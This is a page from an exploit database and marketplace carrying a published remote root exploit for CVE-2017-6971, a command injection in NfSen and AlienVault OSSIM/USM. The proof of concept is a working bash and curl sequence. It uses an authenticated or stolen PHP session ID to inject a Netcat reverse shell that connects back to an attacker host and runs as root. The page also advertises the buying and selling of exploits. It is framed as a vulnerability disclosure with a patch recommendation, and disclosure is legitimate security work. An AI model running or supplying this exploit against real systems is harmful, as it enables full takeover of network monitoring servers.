0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
NfSen <= 1.3.7 / AlienVault OSSIM 5.3.4 - Command Injection Vulnerability
Author
Risk
[Security Risk Critical
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: NfSen/AlienVault remote root exploit (IPC query command injection) # Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected. # Version: AlienVault 5.3.4 # Vendor Homepage: http://nfsen.sourceforge.net/ # Vendor Homepage: http://www.alienvault.com/ # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download # Exploit Author: Paul Taylor / Foregenix Ltd # Website: http://www.foregenix.com/blog # Tested on: AlienVault USM 5.3.4 # CVE: CVE-2017-6971 1. Description A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system. 2. Proof of Concept # From a linux bash prompt on the attacker's machine: # Set target IP targetip='10.100.1.1' # Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One): cmd='nc -ne /bin/bash 10.100.1.2 443'; # Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI. PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7'; # Next use curl to send the exploit curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php 3. Solution: Update to latest version of NfSen/USM/OSSIM # 0day.today [2024-11-15] #